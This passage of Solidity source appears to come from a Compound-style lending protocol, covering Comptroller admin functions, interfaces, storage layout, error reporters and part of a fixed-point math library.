emit NewPriceOracle(oldOracle, newOracle); return uint256(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint256 newCloseFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } uint256 oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint256(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint256 newCollateralFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint256 oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint256(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Save current value for use in log uint256 oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint256(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @param version The version of the market (token) * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken, Version version) external returns (uint256) { require(msg.sender == admin, "only admin may support market"); require(!isMarketListed(address(cToken)), "market already listed"); cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, collateralFactorMantissa: 0, version: version}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint256(Error.NO_ERROR); } /** * @notice Remove the market from the markets mapping * @param cToken The address of the market (token) to delist */ function _delistMarket(CToken cToken) external { require(msg.sender == admin, "only admin may delist market"); require(isMarketListed(address(cToken)), "market not listed"); require(cToken.totalSupply() == 0, "market not empty"); cToken.isCToken(); // Sanity check to make sure its really a CToken delete markets[address(cToken)]; for (uint256 i = 0; i < allMarkets.length; i++) { if (allMarkets[i] == cToken) { allMarkets[i] = allMarkets[allMarkets.length - 1]; delete allMarkets[allMarkets.length - 1]; allMarkets.length--; break; } } emit MarketDelisted(cToken); } function _addMarketInternal(address cToken) internal { for (uint256 i = 0; i < allMarkets.length; i++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Supply Cap Guardian * @param newSupplyCapGuardian The address of the new Supply Cap Guardian */ function _setSupplyCapGuardian(address newSupplyCapGuardian) external { require(msg.sender == admin, "only admin can set supply cap guardian"); // Save current value for inclusion in log address oldSupplyCapGuardian = supplyCapGuardian; // Store supplyCapGuardian with value newSupplyCapGuardian supplyCapGuardian = newSupplyCapGuardian; // Emit NewSupplyCapGuardian(OldSupplyCapGuardian, NewSupplyCapGuardian) emit NewSupplyCapGuardian(oldSupplyCapGuardian, newSupplyCapGuardian); } /** * @notice Set the given supply caps for the given cToken markets. Supplying that brings total supplys to or above supply cap will revert. * @dev Admin or supplyCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. If the total borrows * already exceeded the cap, it will prevent anyone to borrow. * @param cTokens The addresses of the markets (tokens) to change the supply caps for * @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying. */ function _setMarketSupplyCaps(CToken[] calldata cTokens, uint256[] calldata newSupplyCaps) external { require( msg.sender == admin || msg.sender == supplyCapGuardian, "only admin or supply cap guardian can set supply caps" ); uint256 numMarkets = cTokens.length; uint256 numSupplyCaps = newSupplyCaps.length; require(numMarkets != 0 && numMarkets == numSupplyCaps, "invalid input"); for (uint256 i = 0; i < numMarkets; i++) { supplyCaps[address(cTokens[i])] = newSupplyCaps[i]; emit NewSupplyCap(cTokens[i], newSupplyCaps[i]); } } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. If the total supplies * already exceeded the cap, it will prevent anyone to mint. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(CToken[] calldata cTokens, uint256[] calldata newBorrowCaps) external { require( msg.sender == admin || msg.sender == borrowCapGuardian, "only admin or borrow cap guardian can set borrow caps" ); uint256 numMarkets = cTokens.length; uint256 numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for (uint256 i = 0; i < numMarkets; i++) { borrowCaps[address(cTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(cTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external { require(msg.sender == admin, "only admin can set borrow cap guardian"); // Save current value for inclusion in log address oldBorrowCapGuardian = borrowCapGuardian; // Store borrowCapGuardian with value newBorrowCapGuardian borrowCapGuardian = newBorrowCapGuardian; // Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian) emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint256) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint256(Error.NO_ERROR); } /** * @notice Admin function to set the liquidity mining module address * @dev Removing the liquidity mining module address could cause the inconsistency in the LM module. * @param newLiquidityMining The address of the new liquidity mining module */ function _setLiquidityMining(address newLiquidityMining) external { require(msg.sender == admin, "only admin can set liquidity mining module"); require(LiquidityMiningInterface(newLiquidityMining).comptroller() == address(this), "mismatch comptroller"); // Save current value for inclusion in log address oldLiquidityMining = liquidityMining; // Store pauseGuardian with value newLiquidityMining liquidityMining = newLiquidityMining; // Emit NewLiquidityMining(OldLiquidityMining, NewLiquidityMining) emit NewLiquidityMining(oldLiquidityMining, liquidityMining); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(isMarketListed(address(cToken)), "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(isMarketListed(address(cToken)), "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setFlashloanPaused(CToken cToken, bool state) public returns (bool) { require(isMarketListed(address(cToken)), "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); flashloanGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Flashloan", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Sets whitelisted protocol's credit limit * @param protocol The address of the protocol * @param creditLimit The credit limit */ function _setCreditLimit(address protocol, uint256 creditLimit) public { require(msg.sender == admin, "only admin can set protocol credit limit"); creditLimits[protocol] = creditLimit; emit CreditLimitChanged(protocol, creditLimit); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint256) { return block.number; } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ComptrollerStorage.sol"; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); } interface ComptrollerInterfaceExtension { function checkMembership(address account, CToken cToken) external view returns (bool); function updateCTokenVersion(address cToken, ComptrollerV1Storage.Version version) external; function flashloanAllowed( address cToken, address receiver, uint256 amount, bytes calldata params ) external view returns (bool); } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle/PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint256 public liquidationIncentiveMantissa; /** * @notice Per-account mapping of "assets you are in" */ mapping(address => CToken[]) public accountAssets; enum Version { VANILLA, COLLATERALCAP, WRAPPEDNATIVE } struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint256 collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice CToken version Version version; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The portion of compRate that each market currently receives mapping(address => uint256) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint256)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint256)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint256) public compAccrued; // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint256) public borrowCaps; // @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market. address public supplyCapGuardian; // @notice Supply caps enforced by mintAllowed for each cToken address. Defaults to zero which corresponds to unlimited supplying. mapping(address => uint256) public supplyCaps; // @notice creditLimits allowed specific protocols to borrow and repay without collateral. mapping(address => uint256) public creditLimits; // @notice flashloanGuardianPaused can pause flash loan as a safety mechanism. mapping(address => bool) public flashloanGuardianPaused; /// @notice liquidityMining the liquidity mining module that handles the LM rewards distribution. address public liquidityMining; } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 amount ) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom( address src, address dst, uint256 amount ) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; interface ERC3156FlashBorrowerInterface { /** * @dev Receive a flash loan. * @param initiator The initiator of the loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @param fee The additional amount of tokens to repay. * @param data Arbitrary data structure, intended to contain user-defined parameters. * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" */ function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32); } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint256 error, uint256 info, uint256 detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint256) { emit Failure(uint256(err), uint256(info), 0); return uint256(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque( Error err, FailureInfo info, uint256 opaqueError ) internal returns (uint256) { emit Failure(uint256(err), uint256(info), opaqueError); return uint256(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_FRESHNESS_CHECK, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_FRESHNESS_CHECK, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint256 error, uint256 info, uint256 detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint256) { emit Failure(uint256(err), uint256(info), 0); return uint256(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque( Error err, FailureInfo info, uint256 opaqueError ) internal returns (uint256) { emit Failure(uint256(err), uint256(info), opaqueError); return uint256(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint256 constant expScale = 1e18; uint256 constant doubleScale = 1e36; uint256 constant halfExpScale = expScale / 2; uint256 constant mantissaOne = expScale; struct Exp { uint256 mantissa; } struct Double { uint256 mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint256 num, uint256 denom) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint256 rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError error, uint256 result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError error, uint256 result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (MathError, uint256) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt( Exp memory a, uint256 scalar, uint256 addend ) internal pure returns (MathError, uint256) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt( Exp memory a, uint256 scalar, uint256 addend ) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint256 scalar) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint256 scalar, Exp memory divisor) internal pure returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint256 numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint256 scalar, Exp memory 